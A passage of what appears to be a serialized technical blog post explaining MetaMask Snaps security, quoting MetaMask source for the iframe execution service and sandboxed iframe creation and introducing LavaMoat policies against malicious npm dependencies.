IFRAME_EXECUTION_ENVIRONMENT_URL\n",{"type":22,"tag":118,"props":37770,"children":37771},{"class":120,"line":384},[37772,37776,37780,37784,37788,37792],{"type":22,"tag":118,"props":37773,"children":37774},{"style":204},[37775],{"type":28,"value":37622},{"type":22,"tag":118,"props":37777,"children":37778},{"style":125},[37779],{"type":28,"value":292},{"type":22,"tag":118,"props":37781,"children":37782},{"style":204},[37783],{"type":28,"value":37631},{"type":22,"tag":118,"props":37785,"children":37786},{"style":125},[37787],{"type":28,"value":292},{"type":22,"tag":118,"props":37789,"children":37790},{"style":204},[37791],{"type":28,"value":37640},{"type":22,"tag":118,"props":37793,"children":37794},{"style":210},[37795],{"type":28,"value":37796}," =\n",{"type":22,"tag":118,"props":37798,"children":37799},{"class":120,"line":417},[37800,37805],{"type":22,"tag":118,"props":37801,"children":37802},{"style":1866},[37803],{"type":28,"value":37804},"  'https://execution.metamask.io/0.36.1-flask.1/index.html'",{"type":22,"tag":118,"props":37806,"children":37807},{"style":125},[37808],{"type":28,"value":801},{"type":22,"tag":118,"props":37810,"children":37811},{"class":120,"line":425},[37812],{"type":22,"tag":118,"props":37813,"children":37814},{"style":257},[37815],{"type":28,"value":37576},{"type":22,"tag":31,"props":37817,"children":37818},{},[37819,37821,37827,37829,37835,37837,37842],{"type":28,"value":37820},"This code is defining the ",{"type":22,"tag":114,"props":37822,"children":37824},{"className":37823},[],[37825],{"type":28,"value":37826},"snapExecutionServiceArgs",{"type":28,"value":37828}," object, which contains information required for the ",{"type":22,"tag":114,"props":37830,"children":37832},{"className":37831},[],[37833],{"type":28,"value":37834},"IframeExecutionService",{"type":28,"value":37836}," to execute snaps. The ",{"type":22,"tag":114,"props":37838,"children":37840},{"className":37839},[],[37841],{"type":28,"value":37640},{"type":28,"value":37843}," points to the location where the execution environment resides.",{"type":22,"tag":1899,"props":37845,"children":37847},{"id":37846},"executing-snaps-iframeexecutionservice-in-action",[37848],{"type":28,"value":37849},"Executing Snaps: IframeExecutionService in Action",{"type":22,"tag":31,"props":37851,"children":37852},{},[37853,37855,37860,37862,37868],{"type":28,"value":37854},"Inside the snaps-controller package's IframeExecutionService.ts file, the ",{"type":22,"tag":114,"props":37856,"children":37858},{"className":37857},[],[37859],{"type":28,"value":37834},{"type":28,"value":37861}," orchestrates snap execution. Again, here's a snippet of the relevant ",{"type":22,"tag":42,"props":37863,"children":37866},{"href":37864,"rel":37865},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/AbstractExecutionService.ts#L89",[46],[37867],{"type":28,"value":114},{"type":28,"value":213},{"type":22,"tag":107,"props":37870,"children":37874},{"className":37871,"code":37872,"language":37873,"meta":7,"style":7},"language-typescript shiki shiki-themes slack-dark","// Register message handlers for snap interactions\nthis.#messenger.registerActionHandler(\n  `${controllerName}:handleRpcRequest`,\n  async (snapId: string, options: SnapRpcHookArgs) =>\n    this.handleRpcRequest(snapId, options),\n);\n\n// More handlers for executeSnap, terminateSnap, etc.\n// ...\n\n// Execute a snap\nasync executeSnap(snapData: SnapExecutionData) {\n  // Initialize job, streams, and environment\n  const { jobId } = await this.initJob(snapData);\n  const { worker, stream } = await this.initEnvStream(jobId);\n  // ...\n}\n","typescript",[37875],{"type":22,"tag":114,"props":37876,"children":37877},{"__ignoreMap":7},[37878,37886,37915,37945,37998,38035,38042,38049,38057,38064,38071,38079,38114,38122,38178,38240,38248],{"type":22,"tag":118,"props":37879,"children":37880},{"class":120,"line":121},[37881],{"type":22,"tag":118,"props":37882,"children":37883},{"style":257},[37884],{"type":28,"value":37885},"// Register message handlers for snap interactions\n",{"type":22,"tag":118,"props":37887,"children":37888},{"class":120,"line":142},[37889,37893,37897,37902,37906,37911],{"type":22,"tag":118,"props":37890,"children":37891},{"style":146},[37892],{"type":28,"value":19658},{"type":22,"tag":118,"props":37894,"children":37895},{"style":125},[37896],{"type":28,"value":292},{"type":22,"tag":118,"props":37898,"children":37899},{"style":204},[37900],{"type":28,"value":37901},"#messenger",{"type":22,"tag":118,"props":37903,"children":37904},{"style":125},[37905],{"type":28,"value":292},{"type":22,"tag":118,"props":37907,"children":37908},{"style":532},[37909],{"type":28,"value":37910},"registerActionHandler",{"type":22,"tag":118,"props":37912,"children":37913},{"style":125},[37914],{"type":28,"value":696},{"type":22,"tag":118,"props":37916,"children":37917},{"class":120,"line":177},[37918,37923,37927,37932,37936,37941],{"type":22,"tag":118,"props":37919,"children":37920},{"style":1866},[37921],{"type":28,"value":37922},"  `",{"type":22,"tag":118,"props":37924,"children":37925},{"style":146},[37926],{"type":28,"value":36048},{"type":22,"tag":118,"props":37928,"children":37929},{"style":204},[37930],{"type":28,"value":37931},"controllerName",{"type":22,"tag":118,"props":37933,"children":37934},{"style":146},[37935],{"type":28,"value":36080},{"type":22,"tag":118,"props":37937,"children":37938},{"style":1866},[37939],{"type":28,"value":37940},":handleRpcRequest`",{"type":22,"tag":118,"props":37942,"children":37943},{"style":125},[37944],{"type":28,"value":782},{"type":22,"tag":118,"props":37946,"children":37947},{"class":120,"line":195},[37948,37953,37957,37962,37966,37971,37975,37980,37984,37989,37993],{"type":22,"tag":118,"props":37949,"children":37950},{"style":146},[37951],{"type":28,"value":37952},"  async",{"type":22,"tag":118,"props":37954,"children":37955},{"style":125},[37956],{"type":28,"value":842},{"type":22,"tag":118,"props":37958,"children":37959},{"style":204},[37960],{"type":28,"value":37961},"snapId",{"type":22,"tag":118,"props":37963,"children":37964},{"style":210},[37965],{"type":28,"value":213},{"type":22,"tag":118,"props":37967,"children":37968},{"style":131},[37969],{"type":28,"value":37970}," string",{"type":22,"tag":118,"props":37972,"children":37973},{"style":125},[37974],{"type":28,"value":231},{"type":22,"tag":118,"props":37976,"children":37977},{"style":204},[37978],{"type":28,"value":37979},"options",{"type":22,"tag":118,"props":37981,"children":37982},{"style":210},[37983],{"type":28,"value":213},{"type":22,"tag":118,"props":37985,"children":37986},{"style":131},[37987],{"type":28,"value":37988}," SnapRpcHookArgs",{"type":22,"tag":118,"props":37990,"children":37991},{"style":125},[37992],{"type":28,"value":588},{"type":22,"tag":118,"props":37994,"children":37995},{"style":146},[37996],{"type":28,"value":37997},"=>\n",{"type":22,"tag":118,"props":37999,"children":38000},{"class":120,"line":244},[38001,38006,38010,38015,38019,38023,38027,38031],{"type":22,"tag":118,"props":38002,"children":38003},{"style":146},[38004],{"type":28,"value":38005},"    this",{"type":22,"tag":118,"props":38007,"children":38008},{"style":125},[38009],{"type":28,"value":292},{"type":22,"tag":118,"props":38011,"children":38012},{"style":532},[38013],{"type":28,"value":38014},"handleRpcRequest",{"type":22,"tag":118,"props":38016,"children":38017},{"style":125},[38018],{"type":28,"value":540},{"type":22,"tag":118,"props":38020,"children":38021},{"style":204},[38022],{"type":28,"value":37961},{"type":22,"tag":118,"props":38024,"children":38025},{"style":125},[38026],{"type":28,"value":231},{"type":22,"tag":118,"props":38028,"children":38029},{"style":204},[38030],{"type":28,"value":37979},{"type":22,"tag":118,"props":38032,"children":38033},{"style":125},[38034],{"type":28,"value":3853},{"type":22,"tag":118,"props":38036,"children":38037},{"class":120,"line":253},[38038],{"type":22,"tag":118,"props":38039,"children":38040},{"style":125},[38041],{"type":28,"value":682},{"type":22,"tag":118,"props":38043,"children":38044},{"class":120,"line":263},[38045],{"type":22,"tag":118,"props":38046,"children":38047},{"emptyLinePlaceholder":15},[38048],{"type":28,"value":250},{"type":22,"tag":118,"props":38050,"children":38051},{"class":120,"line":318},[38052],{"type":22,"tag":118,"props":38053,"children":38054},{"style":257},[38055],{"type":28,"value":38056},"// More handlers for executeSnap, terminateSnap, etc.\n",{"type":22,"tag":118,"props":38058,"children":38059},{"class":120,"line":351},[38060],{"type":22,"tag":118,"props":38061,"children":38062},{"style":257},[38063],{"type":28,"value":37576},{"type":22,"tag":118,"props":38065,"children":38066},{"class":120,"line":359},[38067],{"type":22,"tag":118,"props":38068,"children":38069},{"emptyLinePlaceholder":15},[38070],{"type":28,"value":250},{"type":22,"tag":118,"props":38072,"children":38073},{"class":120,"line":368},[38074],{"type":22,"tag":118,"props":38075,"children":38076},{"style":257},[38077],{"type":28,"value":38078},"// Execute a snap\n",{"type":22,"tag":118,"props":38080,"children":38081},{"class":120,"line":384},[38082,38087,38092,38096,38101,38105,38110],{"type":22,"tag":118,"props":38083,"children":38084},{"style":204},[38085],{"type":28,"value":38086},"async",{"type":22,"tag":118,"props":38088,"children":38089},{"style":532},[38090],{"type":28,"value":38091}," executeSnap",{"type":22,"tag":118,"props":38093,"children":38094},{"style":125},[38095],{"type":28,"value":540},{"type":22,"tag":118,"props":38097,"children":38098},{"style":204},[38099],{"type":28,"value":38100},"snapData",{"type":22,"tag":118,"props":38102,"children":38103},{"style":125},[38104],{"type":28,"value":1319},{"type":22,"tag":118,"props":38106,"children":38107},{"style":204},[38108],{"type":28,"value":38109},"SnapExecutionData",{"type":22,"tag":118,"props":38111,"children":38112},{"style":125},[38113],{"type":28,"value":16783},{"type":22,"tag":118,"props":38115,"children":38116},{"class":120,"line":417},[38117],{"type":22,"tag":118,"props":38118,"children":38119},{"style":257},[38120],{"type":28,"value":38121},"  // Initialize job, streams, and environment\n",{"type":22,"tag":118,"props":38123,"children":38124},{"class":120,"line":425},[38125,38130,38134,38139,38144,38148,38153,38157,38161,38166,38170,38174],{"type":22,"tag":118,"props":38126,"children":38127},{"style":146},[38128],{"type":28,"value":38129},"  const",{"type":22,"tag":118,"props":38131,"children":38132},{"style":125},[38133],{"type":28,"value":11584},{"type":22,"tag":118,"props":38135,"children":38136},{"style":204},[38137],{"type":28,"value":38138},"jobId",{"type":22,"tag":118,"props":38140,"children":38141},{"style":125},[38142],{"type":28,"value":38143}," } ",{"type":22,"tag":118,"props":38145,"children":38146},{"style":210},[38147],{"type":28,"value":282},{"type":22,"tag":118,"props":38149,"children":38150},{"style":1480},[38151],{"type":28,"value":38152}," await",{"type":22,"tag":118,"props":38154,"children":38155},{"style":146},[38156],{"type":28,"value":37657},{"type":22,"tag":118,"props":38158,"children":38159},{"style":125},[38160],{"type":28,"value":292},{"type":22,"tag":118,"props":38162,"children":38163},{"style":532},[38164],{"type":28,"value":38165},"initJob",{"type":22,"tag":118,"props":38167,"children":38168},{"style":125},[38169],{"type":28,"value":540},{"type":22,"tag":118,"props":38171,"children":38172},{"style":204},[38173],{"type":28,"value":38100},{"type":22,"tag":118,"props":38175,"children":38176},{"style":125},[38177],{"type":28,"value":682},{"type":22,"tag":118,"props":38179,"children":38180},{"class":120,"line":441},[38181,38185,38189,38194,38198,38203,38207,38211,38215,38219,38223,38228,38232,38236],{"type":22,"tag":118,"props":38182,"children":38183},{"style":146},[38184],{"type":28,"value":38129},{"type":22,"tag":118,"props":38186,"children":38187},{"style":125},[38188],{"type":28,"value":11584},{"type":22,"tag":118,"props":38190,"children":38191},{"style":204},[38192],{"type":28,"value":38193},"worker",{"type":22,"tag":118,"props":38195,"children":38196},{"style":125},[38197],{"type":28,"value":231},{"type":22,"tag":118,"props":38199,"children":38200},{"style":204},[38201],{"type":28,"value":38202},"stream",{"type":22,"tag":118,"props":38204,"children":38205},{"style":125},[38206],{"type":28,"value":38143},{"type":22,"tag":118,"props":38208,"children":38209},{"style":210},[38210],{"type":28,"value":282},{"type":22,"tag":118,"props":38212,"children":38213},{"style":1480},[38214],{"type":28,"value":38152},{"type":22,"tag":118,"props":38216,"children":38217},{"style":146},[38218],{"type":28,"value":37657},{"type":22,"tag":118,"props":38220,"children":38221},{"style":125},[38222],{"type":28,"value":292},{"type":22,"tag":118,"props":38224,"children":38225},{"style":532},[38226],{"type":28,"value":38227},"initEnvStream",{"type":22,"tag":118,"props":38229,"children":38230},{"style":125},[38231],{"type":28,"value":540},{"type":22,"tag":118,"props":38233,"children":38234},{"style":204},[38235],{"type":28,"value":38138},{"type":22,"tag":118,"props":38237,"children":38238},{"style":125},[38239],{"type":28,"value":682},{"type":22,"tag":118,"props":38241,"children":38242},{"class":120,"line":475},[38243],{"type":22,"tag":118,"props":38244,"children":38245},{"style":257},[38246],{"type":28,"value":38247},"  // ...\n",{"type":22,"tag":118,"props":38249,"children":38250},{"class":120,"line":484},[38251],{"type":22,"tag":118,"props":38252,"children":38253},{"style":125},[38254],{"type":28,"value":481},{"type":22,"tag":31,"props":38256,"children":38257},{},[38258,38259,38264,38266,38272],{"type":28,"value":2743},{"type":22,"tag":114,"props":38260,"children":38262},{"className":38261},[],[38263],{"type":28,"value":37834},{"type":28,"value":38265}," registers message handlers that facilitate communication between Metamask and snaps within the iFrame. The ",{"type":22,"tag":114,"props":38267,"children":38269},{"className":38268},[],[38270],{"type":28,"value":38271},"${controllerName}:executeSnap",{"type":28,"value":38273}," handler triggers the snap execution process.",{"type":22,"tag":1899,"props":38275,"children":38277},{"id":38276},"step-by-step-execution-from-initialization-to-iframe-creation",[38278,38280],{"type":28,"value":38279},"Step-by-Step Execution: From Initialization to iFrame ",{"type":22,"tag":42,"props":38281,"children":38284},{"href":38282,"rel":38283},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-controllers/src/services/iframe/IframeExecutionService.ts#L31",[46],[38285],{"type":28,"value":38286},"creation",{"type":22,"tag":107,"props":38288,"children":38290},{"className":37871,"code":38289,"language":37873,"meta":7,"style":7},"protected async initEnvStream(jobId: string): Promise\u003C{\n    worker: Window;\n    stream: BasePostMessageStream;\n  }> {\n    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);\n\n    const stream = new WindowPostMessageStream({\n      name: 'parent',\n      target: 'child',\n      targetWindow: iframeWindow,\n      targetOrigin: '*',\n    });\n\n    return { worker: iframeWindow, stream };\n  }\n",[38291],{"type":22,"tag":114,"props":38292,"children":38293},{"__ignoreMap":7},[38294,38343,38364,38385,38393,38457,38464,38492,38509,38526,38543,38560,38567,38574,38598],{"type":22,"tag":118,"props":38295,"children":38296},{"class":120,"line":121},[38297,38302,38307,38312,38316,38320,38324,38328,38333,38338],{"type":22,"tag":118,"props":38298,"children":38299},{"style":204},[38300],{"type":28,"value":38301},"protected",{"type":22,"tag":118,"props":38303,"children":38304},{"style":204},[38305],{"type":28,"value":38306}," async",{"type":22,"tag":118,"props":38308,"children":38309},{"style":532},[38310],{"type":28,"value":38311}," initEnvStream",{"type":22,"tag":118,"props":38313,"children":38314},{"style":125},[38315],{"type":28,"value":540},{"type":22,"tag":118,"props":38317,"children":38318},{"style":204},[38319],{"type":28,"value":38138},{"type":22,"tag":118,"props":38321,"children":38322},{"style":125},[38323],{"type":28,"value":1319},{"type":22,"tag":118,"props":38325,"children":38326},{"style":204},[38327],{"type":28,"value":31605},{"type":22,"tag":118,"props":38329,"children":38330},{"style":125},[38331],{"type":28,"value":38332},"): ",{"type":22,"tag":118,"props":38334,"children":38335},{"style":131},[38336],{"type":28,"value":38337},"Promise",{"type":22,"tag":118,"props":38339,"children":38340},{"style":125},[38341],{"type":28,"value":38342},"\u003C{\n",{"type":22,"tag":118,"props":38344,"children":38345},{"class":120,"line":142},[38346,38351,38355,38360],{"type":22,"tag":118,"props":38347,"children":38348},{"style":204},[38349],{"type":28,"value":38350},"    worker",{"type":22,"tag":118,"props":38352,"children":38353},{"style":210},[38354],{"type":28,"value":213},{"type":22,"tag":118,"props":38356,"children":38357},{"style":131},[38358],{"type":28,"value":38359}," Window",{"type":22,"tag":118,"props":38361,"children":38362},{"style":125},[38363],{"type":28,"value":801},{"type":22,"tag":118,"props":38365,"children":38366},{"class":120,"line":177},[38367,38372,38376,38381],{"type":22,"tag":118,"props":38368,"children":38369},{"style":204},[38370],{"type":28,"value":38371},"    stream",{"type":22,"tag":118,"props":38373,"children":38374},{"style":210},[38375],{"type":28,"value":213},{"type":22,"tag":118,"props":38377,"children":38378},{"style":131},[38379],{"type":28,"value":38380}," BasePostMessageStream",{"type":22,"tag":118,"props":38382,"children":38383},{"style":125},[38384],{"type":28,"value":801},{"type":22,"tag":118,"props":38386,"children":38387},{"class":120,"line":195},[38388],{"type":22,"tag":118,"props":38389,"children":38390},{"style":125},[38391],{"type":28,"value":38392},"  }> {\n",{"type":22,"tag":118,"props":38394,"children":38395},{"class":120,"line":244},[38396,38401,38406,38410,38414,38419,38423,38427,38431,38436,38440,38445,38449,38453],{"type":22,"tag":118,"props":38397,"children":38398},{"style":125},[38399],{"type":28,"value":38400},"    const ",{"type":22,"tag":118,"props":38402,"children":38403},{"style":204},[38404],{"type":28,"value":38405},"iframeWindow",{"type":22,"tag":118,"props":38407,"children":38408},{"style":210},[38409],{"type":28,"value":837},{"type":22,"tag":118,"props":38411,"children":38412},{"style":1480},[38413],{"type":28,"value":38152},{"type":22,"tag":118,"props":38415,"children":38416},{"style":532},[38417],{"type":28,"value":38418}," createWindow",{"type":22,"tag":118,"props":38420,"children":38421},{"style":125},[38422],{"type":28,"value":540},{"type":22,"tag":118,"props":38424,"children":38425},{"style":146},[38426],{"type":28,"value":19658},{"type":22,"tag":118,"props":38428,"children":38429},{"style":125},[38430],{"type":28,"value":292},{"type":22,"tag":118,"props":38432,"children":38433},{"style":204},[38434],{"type":28,"value":38435},"iframeUrl",{"type":22,"tag":118,"props":38437,"children":38438},{"style":125},[38439],{"type":28,"value":292},{"type":22,"tag":118,"props":38441,"children":38442},{"style":532},[38443],{"type":28,"value":38444},"toString",{"type":22,"tag":118,"props":38446,"children":38447},{"style":125},[38448],{"type":28,"value":20341},{"type":22,"tag":118,"props":38450,"children":38451},{"style":204},[38452],{"type":28,"value":38138},{"type":22,"tag":118,"props":38454,"children":38455},{"style":125},[38456],{"type":28,"value":682},{"type":22,"tag":118,"props":38458,"children":38459},{"class":120,"line":253},[38460],{"type":22,"tag":118,"props":38461,"children":38462},{"emptyLinePlaceholder":15},[38463],{"type":28,"value":250},{"type":22,"tag":118,"props":38465,"children":38466},{"class":120,"line":263},[38467,38471,38475,38479,38483,38488],{"type":22,"tag":118,"props":38468,"children":38469},{"style":125},[38470],{"type":28,"value":38400},{"type":22,"tag":118,"props":38472,"children":38473},{"style":204},[38474],{"type":28,"value":38202},{"type":22,"tag":118,"props":38476,"children":38477},{"style":210},[38478],{"type":28,"value":837},{"type":22,"tag":118,"props":38480,"children":38481},{"style":146},[38482],{"type":28,"value":3442},{"type":22,"tag":118,"props":38484,"children":38485},{"style":532},[38486],{"type":28,"value":38487}," WindowPostMessageStream",{"type":22,"tag":118,"props":38489,"children":38490},{"style":125},[38491],{"type":28,"value":17116},{"type":22,"tag":118,"props":38493,"children":38494},{"class":120,"line":318},[38495,38500,38505],{"type":22,"tag":118,"props":38496,"children":38497},{"style":204},[38498],{"type":28,"value":38499},"      name:",{"type":22,"tag":118,"props":38501,"children":38502},{"style":1866},[38503],{"type":28,"value":38504}," 'parent'",{"type":22,"tag":118,"props":38506,"children":38507},{"style":125},[38508],{"type":28,"value":782},{"type":22,"tag":118,"props":38510,"children":38511},{"class":120,"line":351},[38512,38517,38522],{"type":22,"tag":118,"props":38513,"children":38514},{"style":204},[38515],{"type":28,"value":38516},"      target:",{"type":22,"tag":118,"props":38518,"children":38519},{"style":1866},[38520],{"type":28,"value":38521}," 'child'",{"type":22,"tag":118,"props":38523,"children":38524},{"style":125},[38525],{"type":28,"value":782},{"type":22,"tag":118,"props":38527,"children":38528},{"class":120,"line":359},[38529,38534,38539],{"type":22,"tag":118,"props":38530,"children":38531},{"style":204},[38532],{"type":28,"value":38533},"      targetWindow:",{"type":22,"tag":118,"props":38535,"children":38536},{"style":204},[38537],{"type":28,"value":38538}," iframeWindow",{"type":22,"tag":118,"props":38540,"children":38541},{"style":125},[38542],{"type":28,"value":782},{"type":22,"tag":118,"props":38544,"children":38545},{"class":120,"line":368},[38546,38551,38556],{"type":22,"tag":118,"props":38547,"children":38548},{"style":204},[38549],{"type":28,"value":38550},"      targetOrigin:",{"type":22,"tag":118,"props":38552,"children":38553},{"style":1866},[38554],{"type":28,"value":38555}," '*'",{"type":22,"tag":118,"props":38557,"children":38558},{"style":125},[38559],{"type":28,"value":782},{"type":22,"tag":118,"props":38561,"children":38562},{"class":120,"line":384},[38563],{"type":22,"tag":118,"props":38564,"children":38565},{"style":125},[38566],{"type":28,"value":34195},{"type":22,"tag":118,"props":38568,"children":38569},{"class":120,"line":417},[38570],{"type":22,"tag":118,"props":38571,"children":38572},{"emptyLinePlaceholder":15},[38573],{"type":28,"value":250},{"type":22,"tag":118,"props":38575,"children":38576},{"class":120,"line":425},[38577,38582,38586,38590,38594],{"type":22,"tag":118,"props":38578,"children":38579},{"style":125},[38580],{"type":28,"value":38581},"    return { worker: ",{"type":22,"tag":118,"props":38583,"children":38584},{"style":204},[38585],{"type":28,"value":38405},{"type":22,"tag":118,"props":38587,"children":38588},{"style":125},[38589],{"type":28,"value":231},{"type":22,"tag":118,"props":38591,"children":38592},{"style":204},[38593],{"type":28,"value":38202},{"type":22,"tag":118,"props":38595,"children":38596},{"style":125},[38597],{"type":28,"value":20265},{"type":22,"tag":118,"props":38599,"children":38600},{"class":120,"line":441},[38601],{"type":22,"tag":118,"props":38602,"children":38603},{"style":125},[38604],{"type":28,"value":7881},{"type":22,"tag":31,"props":38606,"children":38607},{},[38608,38610,38616,38618,38625],{"type":28,"value":38609},"Here the iframe is created via ",{"type":22,"tag":114,"props":38611,"children":38613},{"className":38612},[],[38614],{"type":28,"value":38615},"createWindow",{"type":28,"value":38617},", which is defined in snaps-utils ",{"type":22,"tag":42,"props":38619,"children":38622},{"href":38620,"rel":38621},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[46],[38623],{"type":28,"value":38624},"package",{"type":28,"value":213},{"type":22,"tag":107,"props":38627,"children":38629},{"className":37871,"code":38628,"language":37873,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[38630],{"type":22,"tag":114,"props":38631,"children":38632},{"__ignoreMap":7},[38633,38676,38714,38751,38758,38778,38816,38823,38860],{"type":22,"tag":118,"props":38634,"children":38635},{"class":120,"line":121},[38636,38640,38645,38649,38654,38658,38663,38667,38672],{"type":22,"tag":118,"props":38637,"children":38638},{"style":146},[38639],{"type":28,"value":11653},{"type":22,"tag":118,"props":38641,"children":38642},{"style":204},[38643],{"type":28,"value":38644}," iframe",{"type":22,"tag":118,"props":38646,"children":38647},{"style":210},[38648],{"type":28,"value":837},{"type":22,"tag":118,"props":38650,"children":38651},{"style":204},[38652],{"type":28,"value":38653}," document",{"type":22,"tag":118,"props":38655,"children":38656},{"style":125},[38657],{"type":28,"value":292},{"type":22,"tag":118,"props":38659,"children":38660},{"style":532},[38661],{"type":28,"value":38662},"createElement",{"type":22,"tag":118,"props":38664,"children":38665},{"style":125},[38666],{"type":28,"value":540},{"type":22,"tag":118,"props":38668,"children":38669},{"style":1866},[38670],{"type":28,"value":38671},"'iframe'",{"type":22,"tag":118,"props":38673,"children":38674},{"style":125},[38675],{"type":28,"value":682},{"type":22,"tag":118,"props":38677,"children":38678},{"class":120,"line":142},[38679,38684,38688,38693,38697,38702,38706,38710],{"type":22,"tag":118,"props":38680,"children":38681},{"style":204},[38682],{"type":28,"value":38683},"    iframe",{"type":22,"tag":118,"props":38685,"children":38686},{"style":125},[38687],{"type":28,"value":292},{"type":22,"tag":118,"props":38689,"children":38690},{"style":532},[38691],{"type":28,"value":38692},"setAttribute",{"type":22,"tag":118,"props":38694,"children":38695},{"style":125},[38696],{"type":28,"value":540},{"type":22,"tag":118,"props":38698,"children":38699},{"style":1866},[38700],{"type":28,"value":38701},"'id'",{"type":22,"tag":118,"props":38703,"children":38704},{"style":125},[38705],{"type":28,"value":231},{"type":22,"tag":118,"props":38707,"children":38708},{"style":204},[38709],{"type":28,"value":4679},{"type":22,"tag":118,"props":38711,"children":38712},{"style":125},[38713],{"type":28,"value":682},{"type":22,"tag":118,"props":38715,"children":38716},{"class":120,"line":177},[38717,38721,38725,38729,38733,38738,38742,38747],{"type":22,"tag":118,"props":38718,"children":38719},{"style":204},[38720],{"type":28,"value":38683},{"type":22,"tag":118,"props":38722,"children":38723},{"style":125},[38724],{"type":28,"value":292},{"type":22,"tag":118,"props":38726,"children":38727},{"style":532},[38728],{"type":28,"value":38692},{"type":22,"tag":118,"props":38730,"children":38731},{"style":125},[38732],{"type":28,"value":540},{"type":22,"tag":118,"props":38734,"children":38735},{"style":1866},[38736],{"type":28,"value":38737},"'data-testid'",{"type":22,"tag":118,"props":38739,"children":38740},{"style":125},[38741],{"type":28,"value":231},{"type":22,"tag":118,"props":38743,"children":38744},{"style":1866},[38745],{"type":28,"value":38746},"'snaps-iframe'",{"type":22,"tag":118,"props":38748,"children":38749},{"style":125},[38750],{"type":28,"value":682},{"type":22,"tag":118,"props":38752,"children":38753},{"class":120,"line":195},[38754],{"type":22,"tag":118,"props":38755,"children":38756},{"emptyLinePlaceholder":15},[38757],{"type":28,"value":250},{"type":22,"tag":118,"props":38759,"children":38760},{"class":120,"line":244},[38761,38765,38769,38774],{"type":22,"tag":118,"props":38762,"children":38763},{"style":1480},[38764],{"type":28,"value":2159},{"type":22,"tag":118,"props":38766,"children":38767},{"style":125},[38768],{"type":28,"value":842},{"type":22,"tag":118,"props":38770,"children":38771},{"style":204},[38772],{"type":28,"value":38773},"sandbox",{"type":22,"tag":118,"props":38775,"children":38776},{"style":125},[38777],{"type":28,"value":16783},{"type":22,"tag":118,"props":38779,"children":38780},{"class":120,"line":253},[38781,38786,38790,38794,38798,38803,38807,38812],{"type":22,"tag":118,"props":38782,"children":38783},{"style":204},[38784],{"type":28,"value":38785},"      iframe",{"type":22,"tag":118,"props":38787,"children":38788},{"style":125},[38789],{"type":28,"value":292},{"type":22,"tag":118,"props":38791,"children":38792},{"style":532},[38793],{"type":28,"value":38692},{"type":22,"tag":118,"props":38795,"children":38796},{"style":125},[38797],{"type":28,"value":540},{"type":22,"tag":118,"props":38799,"children":38800},{"style":1866},[38801],{"type":28,"value":38802},"'sandbox'",{"type":22,"tag":118,"props":38804,"children":38805},{"style":125},[38806],{"type":28,"value":231},{"type":22,"tag":118,"props":38808,"children":38809},{"style":1866},[38810],{"type":28,"value":38811},"'allow-scripts'",{"type":22,"tag":118,"props":38813,"children":38814},{"style":125},[38815],{"type":28,"value":682},{"type":22,"tag":118,"props":38817,"children":38818},{"class":120,"line":263},[38819],{"type":22,"tag":118,"props":38820,"children":38821},{"style":125},[38822],{"type":28,"value":1254},{"type":22,"tag":118,"props":38824,"children":38825},{"class":120,"line":318},[38826,38830,38834,38838,38842,38847,38851,38856],{"type":22,"tag":118,"props":38827,"children":38828},{"style":204},[38829],{"type":28,"value":38683},{"type":22,"tag":118,"props":38831,"children":38832},{"style":125},[38833],{"type":28,"value":292},{"type":22,"tag":118,"props":38835,"children":38836},{"style":532},[38837],{"type":28,"value":38692},{"type":22,"tag":118,"props":38839,"children":38840},{"style":125},[38841],{"type":28,"value":540},{"type":22,"tag":118,"props":38843,"children":38844},{"style":1866},[38845],{"type":28,"value":38846},"'src'",{"type":22,"tag":118,"props":38848,"children":38849},{"style":125},[38850],{"type":28,"value":231},{"type":22,"tag":118,"props":38852,"children":38853},{"style":204},[38854],{"type":28,"value":38855},"uri",{"type":22,"tag":118,"props":38857,"children":38858},{"style":125},[38859],{"type":28,"value":682},{"type":22,"tag":118,"props":38861,"children":38862},{"class":120,"line":351},[38863,38867,38871,38875,38879,38884,38888,38893],{"type":22,"tag":118,"props":38864,"children":38865},{"style":204},[38866],{"type":28,"value":36613},{"type":22,"tag":118,"props":38868,"children":38869},{"style":125},[38870],{"type":28,"value":292},{"type":22,"tag":118,"props":38872,"children":38873},{"style":204},[38874],{"type":28,"value":34338},{"type":22,"tag":118,"props":38876,"children":38877},{"style":125},[38878],{"type":28,"value":292},{"type":22,"tag":118,"props":38880,"children":38881},{"style":532},[38882],{"type":28,"value":38883},"appendChild",{"type":22,"tag":118,"props":38885,"children":38886},{"style":125},[38887],{"type":28,"value":540},{"type":22,"tag":118,"props":38889,"children":38890},{"style":204},[38891],{"type":28,"value":38892},"iframe",{"type":22,"tag":118,"props":38894,"children":38895},{"style":125},[38896],{"type":28,"value":682},{"type":22,"tag":31,"props":38898,"children":38899},{},[38900],{"type":28,"value":38901},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":22,"tag":1289,"props":38903,"children":38905},{"id":38904},"lavamoat-against-supply-chain-attacks-layer-2",[38906],{"type":28,"value":38907},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":22,"tag":31,"props":38909,"children":38910},{},[38911],{"type":28,"value":38912},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":22,"tag":31,"props":38914,"children":38915},{},[38916,38918,38924],{"type":28,"value":38917},"Malicious dependencies might utilize built-in modules like ",{"type":22,"tag":114,"props":38919,"children":38921},{"className":38920},[],[38922],{"type":28,"value":38923},"fs",{"type":28,"value":38925},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":22,"tag":31,"props":38927,"children":38928},{},[38929],{"type":28,"value":38930},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted 